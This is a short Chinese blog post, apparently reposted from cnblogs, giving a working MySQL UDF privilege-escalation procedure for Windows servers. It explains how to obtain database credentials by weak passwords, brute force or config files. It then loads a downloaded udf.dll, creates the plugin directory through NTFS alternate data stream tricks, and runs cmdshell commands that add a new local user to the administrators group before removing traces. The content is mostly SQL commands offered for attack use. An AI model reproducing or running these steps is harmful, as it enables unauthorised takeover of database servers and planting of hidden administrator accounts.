标签:l数据库 plugin sys pfile sel 图片 文件 system baidu
通过弱口令,爆破,网站配置文件等方式得到mysql数据库帐号密码,---还要能外连
set @my_udf_a=concat(‘‘,dll的16进制);
udf.dll
https://pan.baidu.com/s/1FY8Ej1tMDGdbb5OEcx3BgA
create table my_udf_data(data LONGBLOB);
insert into my_udf_data values("");
update my_udf_data set data = @my_udf_a;
Mysql<5.0,导出路径随意;
5.0<=mysql<5.1,则需要导出至目标服务器的系统目录(如:system32),否则在下一步操作中你会看到“No paths allowed for shared library”错误;
mysql>5.1,需要导出dll到插件路径,插件路径可以用下面这条命令查看:show variables like ‘%plugin%‘;
.dll的名字可以任意命名
*某些情况下,我们会遇到Can‘t open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法
select @@basedir;
//查找到mysql的目录
select ‘It is dll‘ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION‘;
//利用NTFS ADS创建lib目录
select ‘It is dll‘ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION‘;
//利用NTFS ADS创建plugin目录
select cmdshell(‘net user x x /add‘);
select cmdshell(‘net localgroup administrators x /add‘);
drop table my_udf_data;
drop function cmdshell;
输入数据库帐号密码
按说明来
标签:l数据库 plugin sys pfile sel 图片 文件 system baidu
原文地址:https://www.cnblogs.com/hackxf/p/8975487.html